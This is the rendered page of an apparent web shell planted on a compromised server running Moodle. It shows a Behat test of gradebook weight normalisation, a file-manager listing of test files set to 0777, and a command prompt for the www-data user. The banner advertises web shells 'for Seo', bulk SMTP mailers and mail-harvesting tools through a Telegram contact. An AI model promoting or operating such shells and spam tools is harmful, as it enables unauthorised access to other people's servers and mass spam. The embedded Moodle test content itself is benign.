__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
@core @core_grades
Feature: We can use natural aggregation and weights will be normalised to a total of one hundred
  In order to override weights
  As a teacher
  I need to add assessments to the gradebook.

  Background:
    Given the following "courses" exist:
      | fullname | shortname | category | groupmode |
      | Course 1 | C1 | 0 | 1 |
    And the following "users" exist:
      | username | firstname | lastname | email | idnumber |
      | teacher1 | Teacher | 1 | teacher1@example.com | t1 |
      | student1 | Student | 1 | student1@example.com | s1 |
    And the following "course enrolments" exist:
      | user | course | role |
      | teacher1 | C1 | editingteacher |
      | student1 | C1 | student |
    And the following "grade categories" exist:
      | fullname | course |
      | Sub category 1 | C1 |
    And the following "activities" exist:
      | activity | course | idnumber | name | intro | grade |
      | assign | C1 | a1 | Test assignment one | Submit something! | 300 |
      | assign | C1 | a2 | Test assignment two | Submit something! | 100 |
      | assign | C1 | a3 | Test assignment three | Submit something! | 150 |
      | assign | C1 | a4 | Test assignment four | Submit nothing! | 150 |
    And the following "activities" exist:
      | activity | course | idnumber | name | intro | gradecategory | grade |
      | assign | C1 | a5 | Test assignment five | Submit something! | Sub category 1 | 20 |
      | assign | C1 | a6 | Test assignment six | Submit something! | Sub category 1 | 10 |
      | assign | C1 | a7 | Test assignment seven | Submit nothing! | Sub category 1 | 15 |
    And I am on the "Course 1" "grades > gradebook setup" page logged in as "teacher1"

  @javascript
  Scenario: Setting all weights in a category to exactly one hundred in total.
    And the field "Weight of Test assignment five" matches value "44.444"
    And the field "Weight of Test assignment six" matches value "22.222"
    And the field "Weight of Test assignment seven" matches value "33.333"
    When I set the field "Override weight of Test assignment five" to "1"
    And I set the field "Override weight of Test assignment six" to "1"
    And I set the field "Override weight of Test assignment seven" to "1"
    And I set the field "Weight of Test assignment five" to "30"
    And I set the field "Weight of Test assignment six" to "50"
    And I set the field "Weight of Test assignment seven" to "20"
    And I press "Save changes"
    Then I should not see "Your weights have been adjusted to total 100."
    And the field "Weight of Test assignment five" matches value "30.0"
    And the field "Weight of Test assignment six" matches value "50.0"
    And the field "Weight of Test assignment seven" matches value "20.0"

  @javascript
  Scenario: Setting all weights in a category to less than one hundred is prevented.
    When I set the field "Override weight of Test assignment five" to "1"
    And I set the field "Override weight of Test assignment six" to "1"
    And I set the field "Override weight of Test assignment seven" to "1"
    And I set the field "Weight of Test assignment five" to "1"
    And I set the field "Weight of Test assignment six" to "1"
    And I set the field "Weight of Test assignment seven" to "2"
    Then I should see "Weight total is less than 100%." in the "Test assignment five" "table_row"
    And I should see "Weight total is less than 100%." in the "Test assignment six" "table_row"
    And I should see "Weight total is less than 100%." in the "Test assignment seven" "table_row"
    And I start watching to see if a new page loads
    And I press "Save changes"
    And a new page should not have loaded since I started watching

  @javascript
  Scenario: Set one of the grade item weights to a figure over one hundred is prevented.
    When I set the field "Override weight of Test assignment five" to "1"
    And I set the field "Weight of Test assignment five" to "120"
    Then I should see "Weight total exceeds 100%." in the "Test assignment five" "table_row"
    And the field "Weight of Test assignment five" matches value "120.0"
    And the field "Weight of Test assignment six" matches value "0.0"
    And the field "Weight of Test assignment seven" matches value "0.0"
    And I start watching to see if a new page loads
    And I press "Save changes"
    And a new page should not have loaded since I started watching

  @javascript
  Scenario: Setting several but not all grade item weights to over one hundred each is prevented.
    When I set the field "Override weight of Test assignment five" to "1"
    And I set the field "Override weight of Test assignment six" to "1"
    And I set the field "Weight of Test assignment five" to "150"
    And I set the field "Weight of Test assignment six" to "150"
    Then I should see "Weight total exceeds 100%." in the "Test assignment five" "table_row"
    And I should see "Weight total exceeds 100%." in the "Test assignment six" "table_row"
    And the field "Weight of Test assignment five" matches value "150.0"
    And the field "Weight of Test assignment six" matches value "150.0"
    And the field "Weight of Test assignment seven" matches value "0.0"
    And I start watching to see if a new page loads
    And I press "Save changes"
    And a new page should not have loaded since I started watching

  @javascript
  Scenario: Grade items weights are not normalised when all grade item weights are overridden (sum exactly 100). Extra credit is set respectful to number of items.
    When I set the following settings for grade item "Test assignment seven" of type "gradeitem" on "setup" page:
      | Extra credit | 1 |
    And the field "Weight of Test assignment five" matches value "66.667"
    And the field "Weight of Test assignment six" matches value "33.333"
    And the field "Weight of Test assignment seven" matches value "50.0"
    And I set the field "Override weight of Test assignment five" to "1"
    And I set the field "Override weight of Test assignment six" to "1"
    And I set the field "Weight of Test assignment five" to "60"
    And I set the field "Weight of Test assignment six" to "40"
    And I press "Save changes"
    Then I should not see "Your weights have been adjusted to total 100."
    And the field "Weight of Test assignment five" matches value "60.000"
    And the field "Weight of Test assignment six" matches value "40.000"
    And the field "Weight of Test assignment seven" matches value "50.0"
    And I reset weights for grade category "Sub category 1"
    And the field "Weight of Test assignment five" matches value "66.667"
    And the field "Weight of Test assignment six" matches value "33.333"
    And the field "Weight of Test assignment seven" matches value "50.0"

  @javascript
  Scenario: Setting grade items weights is prevented when all grade item weights are overridden (sum over 100). Extra credit is set respectful to number of items.
    When I set the following settings for grade item "Test assignment seven" of type "gradeitem" on "setup" page:
      | Extra credit | 1 |
    And I set the field "Override weight of Test assignment five" to "1"
    And I set the field "Override weight of Test assignment six" to "1"
    And I set the field "Weight of Test assignment five" to "60"
    And I set the field "Weight of Test assignment six" to "50"
    Then I should see "Weight total exceeds 100%." in the "Test assignment five" "table_row"
    And I should see "Weight total exceeds 100%." in the "Test assignment six" "table_row"
    And the field "Weight of Test assignment five" matches value "60.0"
    And the field "Weight of Test assignment six" matches value "50.0"
    And the field "Weight of Test assignment seven" matches value "50.0"
    And I start watching to see if a new page loads
    And I press "Save changes"
    And a new page should not have loaded since I started watching
    And I reset weights for grade category "Sub category 1"
    And the field "Weight of Test assignment five" matches value "66.667"
    And the field "Weight of Test assignment six" matches value "33.333"
    And the field "Weight of Test assignment seven" matches value "50.0"

  @javascript
  Scenario: Setting grade items weights is prevented when all grade item weights are overridden (sum under 100). Extra credit is set respectful to number of items.
    When I set the following settings for grade item "Test assignment seven" of type "gradeitem" on "setup" page:
      | Extra credit | 1 |
    And I set the field "Override weight of Test assignment five" to "1"
    And I set the field "Override weight of Test assignment six" to "1"
    And I set the field "Weight of Test assignment five" to "40"
    And I set the field "Weight of Test assignment six" to "30"
    Then I should see "Weight total is less than 100%." in the "Test assignment five" "table_row"
    And I should see "Weight total is less than 100%." in the "Test assignment six" "table_row"
    And the field "Weight of Test assignment five" matches value "40.0"
    And the field "Weight of Test assignment six" matches value "30.0"
    And the field "Weight of Test assignment seven" matches value "50.0"
    And I start watching to see if a new page loads
    And I press "Save changes"
    And a new page should not have loaded since I started watching
    And I reset weights for grade category "Sub category 1"
    And the field "Weight of Test assignment five" matches value "66.667"
    And the field "Weight of Test assignment six" matches value "33.333"
    And the field "Weight of Test assignment seven" matches value "50.0"

  @javascript
  Scenario: Grade items weights are normalised when not all grade item weights are overridden. Extra credit is set respectful to number of items.
    When I set the following settings for grade item "Test assignment seven" of type "gradeitem" on "setup" page:
      | Extra credit | 1 |
    And I set the field "Override weight of Test assignment five" to "1"
    And I set the field "Weight of Test assignment five" to "40"
    And I press "Save changes"
    Then I should see "Your weights have been adjusted to total 100."
    And the field "Weight of Test assignment five" matches value "40.00"
    And the field "Weight of Test assignment six" matches value "60.000"
    And the field "Weight of Test assignment seven" matches value "50.0"
    And I reset weights for grade category "Sub category 1"
    And the field "Weight of Test assignment five" matches value "66.667"
    And the field "Weight of Test assignment six" matches value "33.333"
    And the field "Weight of Test assignment seven" matches value "50.0"

  @javascript
  Scenario: The extra credit grade item weight is overridden to a figure over one hundred and then the grade item is set to normal.
    When I set the following settings for grade item "Test assignment seven" of type "gradeitem" on "setup" page:
      | Extra credit | 1 |
    And I set the field "Override weight of Test assignment seven" to "1"
    And I set the field "Weight of Test assignment seven" to "105"
    And I press "Save changes"
    Then I should not see "Your weights have been adjusted to total 100."
    And the field "Weight of Test assignment five" matches value "66.667"
    And the field "Weight of Test assignment six" matches value "33.333"
    And the field "Weight of Test assignment seven" matches value "105.0"
    When I set the following settings for grade item "Test assignment seven" of type "gradeitem" on "setup" page:
      | Extra credit | 0 |
    And I should see "Your weights have been adjusted to total 100."
    And the field "Weight of Test assignment five" matches value "0.0"
    And the field "Weight of Test assignment six" matches value "0.0"
    And the field "Weight of Test assignment seven" matches value "100.0"

  @javascript
  Scenario: The extra credit grade item weight is overridden to a figure over one hundred and then the grade category is reset.
    When I set the following settings for grade item "Test assignment seven" of type "gradeitem" on "setup" page:
      | Extra credit | 1 |
    And I set the field "Override weight of Test assignment seven" to "1"
    And I set the field "Weight of Test assignment seven" to "105"
    And I press "Save changes"
    And I reset weights for grade category "Sub category 1"
    And the field "Weight of Test assignment five" matches value "66.667"
    And the field "Weight of Test assignment six" matches value "33.333"
    And the field "Weight of Test assignment seven" matches value "50.0"

  @javascript
  Scenario: Two out of three grade items weights are overridden and one is not. The overridden grade item weights total over one hundred.
    Given I set the field "Override weight of Test assignment six" to "1"
    And I set the field "Override weight of Test assignment seven" to "1"
    And I set the field "Weight of Test assignment six" to "55"
    And I set the field "Weight of Test assignment seven" to "65"
    Then I should not see "Weight total exceeds 100%." in the "Test assignment five" "table_row"
    And I should see "Weight total exceeds 100%." in the "Test assignment six" "table_row"
    And I should see "Weight total exceeds 100%." in the "Test assignment seven" "table_row"
    And the field "Weight of Test assignment five" matches value "0.0"
    And the field "Weight of Test assignment six" matches value "55.0"
    And the field "Weight of Test assignment seven" matches value "65.0"
    And I start watching to see if a new page loads
    And I press "Save changes"
    And a new page should not have loaded since I started watching

  @javascript
  Scenario: With one grade item set as extra credit, when I reset the weights for a category they return to the natural weights.
    When I set the following settings for grade item "Test assignment five" of type "gradeitem" on "setup" page:
      | Extra credit | 1 |
    And I set the field "Override weight of Test assignment six" to "1"
    And I set the field "Override weight of Test assignment seven" to "1"
    And I set the field "Weight of Test assignment six" to "55"
    And I set the field "Weight of Test assignment seven" to "40"
    And I press "Save changes"
    And I reset weights for grade category "Sub category 1"
    Then the field "Weight of Test assignment five" matches value "80.0"
    And the field "Weight of Test assignment six" matches value "40.0"
    And the field "Weight of Test assignment seven" matches value "60.0"

  @javascript
  Scenario: Overriding a grade item with a negative value results in the value being changed to zero.
    When I set the field "Override weight of Test assignment five" to "1"
    And I set the field "Weight of Test assignment five" to "-15"
    Then the field "Weight of Test assignment five" matches value "0.0"
    And the field "Weight of Test assignment six" matches value "40.0"
    And the field "Weight of Test assignment seven" matches value "60.0"
    And I press "Save changes"
    Then the field "Weight of Test assignment five" matches value "0.0"
    And the field "Weight of Test assignment six" matches value "40.0"
    And the field "Weight of Test assignment seven" matches value "60.0"
    And I set the field "Override weight of Test assignment six" to "1"
    And I set the field "Weight of Test assignment six" to "-25"
    And the field "Weight of Test assignment six" matches value "0.0"
    And the field "Weight of Test assignment seven" matches value "100.0"
    And I reset weights for grade category "Sub category 1"
    And I set the field "Override weight of Test assignment five" to "1"
    And I set the field "Override weight of Test assignment six" to "1"
    And I set the field "Weight of Test assignment five" to "-10"
    And I set the field "Weight of Test assignment six" to "120"
    And I should see "Weight total exceeds 100%." in the "Test assignment five" "table_row"
    And I should see "Weight total exceeds 100%." in the "Test assignment six" "table_row"
    And the field "Weight of Test assignment five" matches value "0.0"
    And the field "Weight of Test assignment six" matches value "120.0"
    And the field "Weight of Test assignment seven" matches value "0.0"
    And I start watching to see if a new page loads
    And I press "Save changes"
    And a new page should not have loaded since I started watching

Filemanager

Name Type Size Permission Actions
behat_grade.php File 14.18 KB 0777
behat_grade_deprecated.php File 8.29 KB 0777
behat_grades.php File 10.46 KB 0777
grade_UI_settings.feature File 1.98 KB 0777
grade_aggregation.feature File 34.84 KB 0777
grade_aggregation_changes.feature File 34.02 KB 0777
grade_average.feature File 7.5 KB 0777
grade_calculated_grade_items.feature File 10.93 KB 0777
grade_calculated_grade_items_20150627.feature File 11.37 KB 0777
grade_calculated_weights.feature File 15.96 KB 0777
grade_category_validation.feature File 7.16 KB 0777
grade_contribution_with_extra_credit.feature File 4.31 KB 0777
grade_custom_scales.feature File 2.27 KB 0777
grade_edit_tree_bulk_actions.feature File 14.8 KB 0777
grade_export_default_method.feature File 1.03 KB 0777
grade_feedback.feature File 3.43 KB 0777
grade_grade_minmax_change.feature File 3.82 KB 0777
grade_hidden_items.feature File 4.11 KB 0777
grade_hidden_items_locked_category.feature File 4.32 KB 0777
grade_import.feature File 4.54 KB 0777
grade_item_duplication.feature File 2.35 KB 0777
grade_item_form_unhide.feature File 5.49 KB 0777
grade_item_pass_data_to_advanced_page.feature File 7.34 KB 0777
grade_item_validation.feature File 6.45 KB 0777
grade_letter_boundary.feature File 1.97 KB 0777
grade_letter_boundary_20160518.feature File 2.08 KB 0777
grade_letter_logging.feature File 1.49 KB 0777
grade_mingrade.feature File 4.98 KB 0777
grade_minmax.feature File 11.57 KB 0777
grade_natural_exclude_empty.feature File 20.3 KB 0777
grade_natural_exclude_empty_20150619.feature File 21.21 KB 0777
grade_natural_normalisation.feature File 16.04 KB 0777
grade_natural_normalisation_20150619.feature File 7.66 KB 0777
grade_override_letter.feature File 12.04 KB 0777
grade_point_maximum.feature File 4.7 KB 0777
grade_recovery_settings.feature File 2.6 KB 0777
grade_regrade_do_not_override.feature File 3.4 KB 0777
grade_scales.feature File 10.65 KB 0777
grade_scales_aggregation.feature File 6.55 KB 0777
grade_scales_logging.feature File 959 B 0777
grade_single_item_scales.feature File 8.27 KB 0777
grade_to_pass.feature File 15.99 KB 0777
grade_view.feature File 5.11 KB 0777
siteadmin_grades_outcomes_breadcrumbs.feature File 1.33 KB 0777
siteadmin_grades_scale_breadcrumbs.feature File 1016 B 0777
toggle_grade_categories.feature File 12.98 KB 0777
Filemanager